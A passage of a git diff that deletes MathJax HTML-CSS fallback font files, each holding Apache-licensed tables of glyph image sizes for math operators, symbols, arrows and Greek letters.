-      [5,5,1],[6,6,1],[7,7,1],[9,8,1],[10,9,1],[12,12,2],[15,14,2],[17,16,2],
-      [21,20,3],[24,23,3],[29,27,4],[34,32,4],[40,38,5],[48,45,6]
-    ],
-    0x22A2: [  // RIGHT TACK
-      [4,5,0],[5,6,0],[6,7,0],[7,9,0],[8,10,0],[10,12,0],[11,14,0],[13,17,0],
-      [16,20,0],[19,23,0],[22,28,0],[26,33,0],[31,39,0],[37,46,0]
-    ],
-    0x22A3: [  // LEFT TACK
-      [4,5,0],[5,6,0],[6,7,0],[7,9,0],[8,10,0],[9,12,0],[11,14,0],[13,17,0],
-      [16,20,0],[19,23,0],[22,28,0],[26,33,0],[31,39,0],[37,46,0]
-    ],
-    0x22A4: [  // DOWN TACK
-      [5,5,0],[6,6,0],[8,7,0],[9,8,0],[10,11,1],[12,12,1],[15,14,1],[17,16,0],
-      [20,20,1],[24,22,0],[29,27,0],[34,32,0],[40,37,0],[48,44,0]
-    ],
-    0x22A5: [  // UP TACK
-      [5,5,0],[6,6,0],[8,7,0],[9,8,0],[10,10,0],[12,12,0],[15,14,0],[17,16,0],
-      [20,19,0],[24,22,0],[29,27,0],[34,32,0],[40,37,0],[48,44,0]
-    ],
-    0x22A8: [  // TRUE
-      [6,8,2],[7,10,3],[8,11,3],[10,12,3],[12,15,4],[14,18,5],[16,20,5],[19,24,6],
-      [23,28,7],[27,34,9],[32,40,10],[38,47,12],[45,56,14],[54,67,17]
-    ],
-    0x22C4: [  // DIAMOND OPERATOR
-      [4,4,0],[5,5,0],[5,5,0],[6,6,0],[7,7,0],[9,9,0],[10,10,0],[12,12,0],
-      [14,14,0],[17,17,0],[20,20,0],[23,23,0],[27,27,0],[33,33,0]
-    ],
-    0x22C5: [  // DOT OPERATOR
-      [2,1,-1],[2,2,-1],[2,3,-1],[3,2,-2],[3,3,-2],[4,3,-3],[4,4,-3],[5,4,-4],
-      [6,4,-5],[7,5,-6],[8,6,-7],[10,7,-8],[11,8,-10],[14,9,-12]
-    ],
-    0x22C6: [  // STAR OPERATOR
-      [4,4,0],[5,5,0],[5,5,0],[6,6,0],[7,7,0],[9,9,0],[10,10,0],[12,12,0],
-      [14,14,0],[17,16,0],[20,20,0],[24,23,0],[28,27,0],[33,31,-1]
-    ],
-    0x22C8: [  // BOWTIE
-      [7,5,1],[8,6,1],[9,6,1],[11,7,1],[13,8,1],[15,10,1],[17,11,1],[21,13,1],
-      [25,15,1],[29,18,1],[35,21,1],[41,25,1],[49,29,1],[58,35,1]
-    ],
-    0x22EE: [  // VERTICAL ELLIPSIS
-      [2,6,0],[2,9,1],[2,10,1],[3,12,1],[3,14,1],[4,16,1],[4,19,1],[5,22,1],
-      [6,26,1],[7,31,1],[8,38,2],[10,44,2],[11,52,2],[14,62,2]
-    ],
-    0x22EF: [  // MIDLINE HORIZONTAL ELLIPSIS
-      [8,1,-1],[9,2,-1],[11,3,-1],[13,2,-2],[16,3,-2],[19,3,-3],[22,4,-3],[26,4,-4],
-      [31,4,-5],[36,5,-6],[43,6,-7],[51,7,-8],[61,8,-10],[73,9,-12]
-    ],
-    0x22F1: [  // DOWN RIGHT DIAGONAL ELLIPSIS
-      [8,6,0],[10,7,0],[12,9,0],[14,9,-1],[16,11,-1],[20,13,-1],[23,15,-1],[27,18,-2],
-      [32,21,-2],[38,24,-3],[46,30,-3],[54,35,-4],[64,41,-5],[76,48,-6]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/MathOperators.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/MiscMathSymbolsA.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/MiscMathSymbolsA.js
deleted file mode 100644
index 4b9cd23e..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/MiscMathSymbolsA.js
+++ /dev/null
@@ -1,49 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/MiscMathSymbolsA.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Main": {
-    0x27E8: [  // MATHEMATICAL LEFT ANGLE BRACKET
-      [3,8,2],[3,10,3],[4,11,3],[4,12,3],[5,15,4],[6,18,5],[7,20,5],[8,24,6],
-      [10,28,7],[11,34,9],[14,40,10],[16,47,12],[19,56,14],[22,67,17]
-    ],
-    0x27E9: [  // MATHEMATICAL RIGHT ANGLE BRACKET
-      [2,8,2],[3,10,3],[3,11,3],[4,12,3],[4,15,4],[5,18,5],[6,20,5],[7,24,6],
-      [8,28,7],[10,34,9],[11,40,10],[13,47,12],[16,56,14],[19,67,17]
-    ],
-    0x27EE: [  // MATHEMATICAL LEFT FLATTENED PARENTHESIS
-      [3,8,2],[3,9,2],[4,11,3],[5,12,3],[5,15,4],[6,17,4],[8,20,5],[9,24,6],
-      [10,28,7],[12,33,8],[14,40,10],[17,47,12],[20,56,14],[24,65,16]
-    ],
-    0x27EF: [  // MATHEMATICAL RIGHT FLATTENED PARENTHESIS
-      [2,8,2],[2,9,2],[3,11,3],[3,12,3],[4,15,4],[4,17,4],[5,20,5],[6,24,6],
-      [7,28,7],[8,33,8],[10,40,10],[12,46,11],[14,55,13],[16,65,16]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/MiscMathSymbolsA.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/MiscSymbols.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/MiscSymbols.js
deleted file mode 100644
index a815140a..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/MiscSymbols.js
+++ /dev/null
@@ -1,61 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/MiscSymbols.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Main": {
-    0x2660: [  // BLACK SPADE SUIT
-      [5,7,1],[7,9,2],[8,10,2],[9,11,2],[10,13,2],[12,16,3],[14,18,3],[17,20,3],
-      [20,25,4],[24,29,5],[29,35,6],[34,40,6],[40,49,8],[48,57,9]
-    ],
-    0x2661: [  // WHITE HEART SUIT
-      [5,6,1],[6,7,1],[7,8,1],[9,10,1],[10,11,1],[12,13,1],[15,15,1],[17,18,1],
-      [21,21,1],[24,26,2],[29,31,2],[34,36,2],[40,42,2],[48,51,3]
-    ],
-    0x2662: [  // WHITE DIAMOND SUIT
-      [5,8,2],[6,9,2],[8,10,2],[9,11,2],[10,14,3],[12,16,3],[15,19,4],[17,21,4],
-      [20,26,5],[24,30,6],[29,36,7],[34,42,8],[40,50,9],[48,59,11]
-    ],
-    0x2663: [  // BLACK CLUB SUIT
-      [6,7,1],[7,9,2],[8,10,2],[9,11,2],[11,13,2],[13,16,3],[15,18,3],[18,20,3],
-      [21,25,4],[25,29,5],[30,34,5],[35,40,6],[42,49,8],[50,57,9]
-    ],
-    0x266D: [  // MUSIC FLAT SIGN
-      [3,7,1],[3,8,1],[4,9,1],[4,10,1],[5,12,1],[6,14,1],[7,16,1],[8,19,1],
-      [10,22,1],[11,26,1],[14,31,1],[16,37,2],[19,44,2],[22,52,2]
-    ],
-    0x266E: [  // MUSIC NATURAL SIGN
-      [3,8,2],[3,9,2],[3,11,3],[4,12,3],[5,15,4],[6,17,4],[7,20,5],[8,24,6],
-      [9,28,7],[11,33,8],[13,38,9],[16,46,11],[19,54,13],[22,64,15]
-    ],
-    0x266F: [  // MUSIC SHARP SIGN
-      [3,7,2],[3,8,2],[4,11,3],[4,12,3],[5,14,4],[6,16,4],[7,20,5],[8,23,6],
-      [10,27,7],[11,32,8],[13,38,9],[16,45,11],[19,53,13],[22,63,15]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/MiscSymbols.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/MiscTechnical.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/MiscTechnical.js
deleted file mode 100644
index 345bd788..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/MiscTechnical.js
+++ /dev/null
@@ -1,65 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/MiscTechnical.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Main": {
-    0x2308: [  // LEFT CEILING
-      [3,8,2],[4,9,2],[5,11,3],[5,12,3],[6,15,4],[8,17,4],[9,20,5],[10,25,7],
-      [12,28,7],[14,34,9],[17,40,10],[20,47,12],[24,56,14],[28,67,17]
-    ],
-    0x2309: [  // RIGHT CEILING
-      [2,8,2],[3,9,2],[3,11,3],[3,12,3],[4,15,4],[5,17,4],[5,20,5],[7,24,6],
-      [8,28,7],[9,34,9],[11,40,10],[13,47,12],[15,56,14],[18,67,17]
-    ],
-    0x230A: [  // LEFT FLOOR
-      [3,8,2],[4,9,2],[5,11,3],[5,12,3],[6,15,4],[8,17,4],[8,20,5],[10,24,6],
-      [12,28,7],[14,34,9],[17,40,10],[20,47,12],[24,56,14],[28,67,17]
-    ],
-    0x230B: [  // RIGHT FLOOR
-      [2,8,2],[3,9,2],[3,11,3],[3,12,3],[4,15,4],[5,17,4],[5,20,5],[6,24,6],
-      [8,28,7],[9,34,9],[11,40,10],[13,47,12],[15,56,14],[18,67,17]
-    ],
-    0x2322: [  // stix-small down curve
-      [7,3,0],[8,4,0],[10,3,-1],[12,4,-1],[14,5,-1],[16,6,-1],[19,6,-2],[22,8,-2],
-      [27,8,-3],[32,9,-4],[37,12,-4],[44,13,-5],[53,16,-6],[63,19,-7]
-    ],
-    0x2323: [  // stix-small up curve
-      [7,2,-1],[8,3,-1],[10,3,-1],[12,4,-1],[14,4,-2],[16,5,-2],[19,6,-2],[22,6,-3],
-      [27,8,-3],[32,9,-4],[38,10,-5],[44,12,-6],[53,15,-7],[63,17,-8]
-    ],
-    0x23B0: [  // UPPER LEFT OR LOWER RIGHT CURLY BRACKET SECTION
-      [3,8,2],[3,9,2],[4,11,3],[5,12,3],[5,15,4],[6,17,4],[7,20,5],[9,24,6],
-      [10,28,7],[12,33,8],[14,40,10],[17,46,11],[20,55,13],[24,65,16]
-    ],
-    0x23B1: [  // UPPER RIGHT OR LOWER LEFT CURLY BRACKET SECTION
-      [3,8,2],[3,9,2],[4,11,3],[5,12,3],[5,15,4],[6,17,4],[7,20,5],[9,24,6],
-      [10,28,7],[12,33,8],[14,39,10],[17,47,12],[20,55,14],[24,65,16]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/MiscTechnical.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/SpacingModLetters.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/SpacingModLetters.js
deleted file mode 100644
index ca79d9ed..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/SpacingModLetters.js
+++ /dev/null
@@ -1,69 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/SpacingModLetters.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Main": {
-    0x2C6: [  // MODIFIER LETTER CIRCUMFLEX ACCENT
-      [3,2,-3],[4,3,-4],[4,3,-5],[5,3,-5],[6,3,-7],[7,4,-9],[8,4,-10],[9,5,-13],
-      [11,6,-15],[13,7,-17],[16,7,-21],[18,9,-24],[22,10,-29],[26,12,-35]
-    ],
-    0x2C7: [  // CARON
-      [3,1,-3],[4,1,-5],[4,2,-6],[5,2,-6],[6,2,-7],[7,3,-9],[8,3,-10],[9,3,-13],
-      [11,4,-15],[13,5,-17],[16,6,-21],[18,6,-24],[22,8,-29],[26,9,-34]
-    ],
-    0x2C9: [  // MODIFIER LETTER MACRON
-      [3,1,-3],[4,1,-5],[5,1,-6],[6,1,-6],[6,1,-7],[8,1,-10],[9,1,-11],[10,2,-13],
-      [12,3,-15],[15,2,-18],[17,2,-22],[20,3,-26],[24,3,-30],[29,4,-36]
-    ],
-    0x2CA: [  // MODIFIER LETTER ACUTE ACCENT
-      [3,2,-3],[4,2,-4],[4,3,-5],[5,3,-5],[6,3,-6],[7,4,-8],[8,5,-9],[10,6,-12],
-      [11,7,-14],[13,7,-17],[16,9,-19],[19,10,-23],[22,12,-28],[26,13,-34]
-    ],
-    0x2CB: [  // MODIFIER LETTER GRAVE ACCENT
-      [3,2,-3],[3,2,-4],[3,3,-5],[4,3,-5],[5,3,-6],[5,4,-8],[6,4,-10],[7,6,-12],
-      [9,7,-14],[10,7,-17],[12,8,-20],[14,10,-23],[17,11,-28],[20,13,-34]
-    ],
-    0x2D8: [  // BREVE
-      [3,2,-3],[4,2,-4],[4,2,-6],[5,2,-6],[6,3,-6],[7,3,-9],[8,4,-10],[10,5,-12],
-      [12,5,-15],[14,6,-17],[16,7,-21],[19,9,-24],[23,10,-29],[27,12,-34]
-    ],
-    0x2D9: [  // DOT ABOVE
-      [3,1,-4],[3,2,-4],[4,2,-6],[4,2,-6],[5,2,-7],[6,3,-9],[7,3,-11],[8,3,-14],
-      [9,4,-16],[11,5,-18],[13,5,-22],[15,6,-26],[18,7,-31],[21,9,-37]
-    ],
-    0x2DA: [  // RING ABOVE
-      [3,2,-3],[3,2,-4],[4,2,-6],[5,2,-6],[5,3,-6],[6,3,-9],[7,4,-10],[9,5,-13],
-      [10,6,-15],[12,7,-17],[14,8,-22],[17,8,-25],[20,10,-30],[24,12,-36]
-    ],
-    0x2DC: [  // SMALL TILDE
-      [3,1,-4],[4,1,-5],[5,1,-7],[5,1,-7],[6,1,-8],[7,3,-9],[9,3,-11],[10,3,-14],
-      [12,3,-17],[14,4,-19],[17,4,-23],[20,5,-26],[23,6,-32],[28,7,-38]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/SpacingModLetters.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/SuppMathOperators.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/SuppMathOperators.js
deleted file mode 100644
index e3d0d17f..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/SuppMathOperators.js
+++ /dev/null
@@ -1,45 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/SuppMathOperators.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Main": {
-    0x2A3F: [  // AMALGAMATION OR COPRODUCT
-      [5,5,0],[6,6,0],[8,7,0],[9,9,0],[10,10,0],[12,12,0],[15,14,0],[17,16,0],
-      [20,19,0],[24,23,0],[29,27,0],[34,32,0],[40,38,0],[48,45,0]
-    ],
-    0x2AAF: [  // PRECEDES ABOVE SINGLE-LINE EQUALS SIGN
-      [5,6,1],[6,7,1],[7,9,2],[9,10,2],[10,11,2],[12,14,3],[14,16,3],[17,18,3],
-      [20,22,4],[23,26,5],[28,31,6],[33,37,7],[39,44,8],[46,52,10]
-    ],
-    0x2AB0: [  // SUCCEEDS ABOVE SINGLE-LINE EQUALS SIGN
-      [5,6,1],[6,7,1],[7,9,2],[9,10,2],[10,11,2],[12,14,3],[14,16,3],[17,19,4],
-      [20,22,4],[23,26,5],[28,31,6],[33,37,7],[39,44,8],[46,52,10]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/SuppMathOperators.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/SupplementalArrowsA.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/SupplementalArrowsA.js
deleted file mode 100644
index 1626403a..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/SupplementalArrowsA.js
+++ /dev/null
@@ -1,61 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/SupplementalArrowsA.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Main": {
-    0x27F5: [  // LONG LEFTWARDS ARROW
-      [11,5,1],[13,5,0],[15,6,1],[18,7,1],[22,9,1],[26,9,0],[30,11,1],[36,13,1],
-      [43,15,1],[51,18,1],[60,21,1],[71,25,1],[85,30,1],[101,35,1]
-    ],
-    0x27F6: [  // LONG RIGHTWARDS ARROW
-      [11,5,1],[13,5,0],[16,7,1],[19,7,1],[22,9,1],[26,9,0],[31,11,1],[37,13,1],
-      [43,15,1],[52,18,1],[61,22,1],[73,25,1],[86,30,1],[103,35,1]
-    ],
-    0x27F7: [  // LONG LEFT RIGHT ARROW
-      [13,5,1],[15,5,0],[18,6,1],[22,7,1],[25,9,1],[30,9,0],[36,11,1],[42,13,1],
-      [50,15,1],[60,18,1],[71,22,1],[84,25,1],[100,30,1],[119,35,1]
-    ],
-    0x27F8: [  // LONG LEFTWARDS DOUBLE ARROW
-      [11,5,1],[13,6,1],[16,7,1],[19,8,1],[22,9,1],[26,10,1],[31,11,1],[37,14,1],
-      [43,16,1],[52,20,2],[61,23,2],[73,27,2],[86,31,2],[103,37,2]
-    ],
-    0x27F9: [  // LONG RIGHTWARDS DOUBLE ARROW
-      [11,5,1],[14,6,1],[16,7,1],[19,8,1],[22,9,1],[27,10,1],[31,12,1],[37,14,1],
-      [44,16,1],[52,19,1],[62,22,1],[74,26,1],[88,32,2],[104,37,2]
-    ],
-    0x27FA: [  // LONG LEFT RIGHT DOUBLE ARROW
-      [13,5,1],[15,6,1],[18,7,1],[22,8,1],[25,9,1],[30,10,1],[36,12,1],[42,14,1],
-      [50,16,1],[60,20,2],[71,23,2],[84,27,2],[100,31,2],[119,37,2]
-    ],
-    0x27FC: [  // LONG RIGHTWARDS ARROW FROM BAR
-      [11,5,1],[13,5,0],[16,7,1],[19,7,1],[22,9,1],[26,9,0],[31,11,1],[37,13,1],
-      [44,15,1],[52,18,1],[61,22,1],[73,25,1],[86,30,1],[103,35,1]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/SupplementalArrowsA.js");
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-/*
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- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
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11],[39,45,15]],952:[[4,5,0],[5,6,0],[6,8,0],[7,8,0],[8,9,0],[10,12,0],[11,14,0],[13,17,0],[16,20,0],[19,23,0],[22,28,0],[26,32,0],[31,39,0],[37,47,1]],953:[[3,3,0],[4,4,0],[4,5,0],[5,5,0],[6,6,0],[7,8,0],[8,9,0],[9,11,0],[11,13,0],[13,15,0],[16,18,0],[18,21,0],[22,25,0],[26,31,1]],954:[[5,3,0],[6,4,0],[7,5,0],[8,5,0],[9,6,0],[11,8,0],[13,9,0],[15,11,0],[18,13,0],[22,15,0],[26,18,0],[30,21,0],[36,25,0],[43,31,1]],955:[[5,5,0],[6,6,0],[7,8,0],[8,8,0],[9,9,0],[11,12,0],[13,14,0],[16,17,0],[18,20,0],[22,24,1],[26,29,1],[31,33,1],[36,38,0],[43,47,1]],956:[[5,4,1],[6,6,2],[7,7,2],[8,7,2],[10,9,3],[12,12,4],[14,13,4],[16,16,5],[19,19,6],[23,22,7],[27,26,8],[32,31,10],[38,37,12],[45,45,15]],957:[[5,3,0],[6,4,0],[6,5,0],[8,5,0],[9,6,0],[11,8,0],[12,9,0],[15,11,0],[17,13,0],[20,15,0],[24,18,0],[29,21,0],[34,25,0],[40,31,1]],958:[[4,6,1],[5,8,2],[5,10,2],[6,10,2],[7,12,3],[9,16,4],[10,18,4],[12,22,5],[14,26,6],[17,30,7],[20,36,8],[23,43,9],[28,51,11],[33,61,13]],959:[[4,3,0],[5,4,0],[6,5,0],[7,5,0],[8,6,0],[10,8,0],[12,9,0],[14,11,0],[16,13,0],[19,15,0],[23,18,0],[27,21,0],[32,25,0],[38,31,1]],960:[[5,3,0],[6,4,0],[7,5,0],[8,5,0],[10,6,0],[12,8,0],[14,9,0],[16,11,0],[19,13,0],[23,15,0],[27,18,0],[32,21,0],[38,25,0],[45,31,1]],961:[[5,4,1],[5,6,2],[6,7,2],[8,7,2],[9,9,3],[10,12,4],[12,13,4],[14,16,5],[17,19,6],[20,22,7],[24,26,8],[29,30,9],[34,37,12],[40,45,15]],962:[[4,4,1],[4,5,1],[5,6,1],[6,6,1],[7,7,1],[8,10,2],[9,12,3],[11,14,3],[13,16,3],[16,18,3],[18,22,4],[22,26,5],[26,31,6],[31,37,7]],963:[[5,3,0],[6,4,0],[7,5,0],[8,5,0],[10,6,0],[12,8,0],[14,9,0],[16,11,0],[19,13,0],[23,15,0],[27,18,0],[32,21,0],[38,25,0],[45,30,1]],964:[[5,3,0],[6,4,0],[6,5,0],[8,5,0],[9,6,0],[11,8,0],[12,9,0],[15,11,0],[17,13,0],[20,16,1],[24,19,1],[29,22,1],[34,25,0],[40,31,1]],965:[[5,3,0],[5,4,0],[6,5,0],[8,5,0],[9,6,0],[10,8,0],[12,9,0],[14,11,0],[17,13,0],[20,15,0],[24,18,0],[28,21,0],[34,25,0],[40,31,1]],966:[[5,4,1],[6,6,2],[7,7,2],[9,7,2],[10,9,3],[12,12,4],[14,13,4],[17,16,5],[20,19,6],[24,22,7],[28,26,8],[33,31,10],[39,37,12],[47,44,14]],967:[[5,4,1],[6,6,2],[7,7,2],[9,7,2],[10,9,3],[12,12,4],[14,13,4],[17,16,5],[20,19,6],[23,22,7],[28,26,8],[33,30,9],[39,36,11],[46,43,13]],968:[[6,6,1],[7,8,2],[8,10,2],[9,10,2],[11,12,3],[13,16,4],[15,18,4],[17,22,5],[21,26,6],[24,30,7],[29,36,8],[34,41,9],[41,50,11],[48,59,13]],969:[[5,3,0],[6,4,0],[7,5,0],[9,5,0],[10,6,0],[12,8,0],[14,9,0],[17,11,0],[20,13,0],[23,15,0],[28,18,0],[33,21,0],[39,25,0],[46,31,1]],977:[[5,5,0],[6,6,0],[7,8,0],[8,8,0],[9,9,0],[11,12,0],[13,14,0],[16,17,0],[18,20,0],[22,23,0],[26,28,0],[31,32,0],[36,39,0],[43,47,1]],981:[[5,6,1],[6,8,2],[7,10,2],[9,10,2],[10,12,3],[12,16,4],[14,18,4],[16,22,5],[20,26,6],[23,30,7],[27,36,8],[32,41,9],[39,49,11],[46,59,13]],982:[[7,3,0],[8,4,0],[10,5,0],[12,5,0],[14,6,0],[16,8,0],[19,9,0],[23,11,0],[27,13,0],[32,15,0],[38,18,0],[45,21,0],[53,25,0],[63,31,1]],1009:[[5,4,1],[5,6,2],[6,7,2],[8,7,2],[9,9,3],[10,12,4],[12,13,4],[14,16,5],[17,19,6],[20,22,7],[24,26,8],[28,30,9],[34,36,11],[40,44,14]],1013:[[4,3,0],[4,4,0],[5,5,0],[6,5,0],[7,6,0],[8,8,0],[9,9,0],[11,11,0],[13,13,0],[15,15,0],[18,18,0],[22,21,0],[26,25,0],[30,30,1]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Math/BoldItalic"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/Main.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Math/BoldItalic/unpacked/Main.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Math/BoldItalic/unpacked/Main.js
deleted file mode 100644
index 843e013e..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Math/BoldItalic/unpacked/Main.js
+++ /dev/null
@@ -1,417 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Math/BoldItalic/Main.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Math-bold-italic": {
-    0x20: [  // SPACE
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
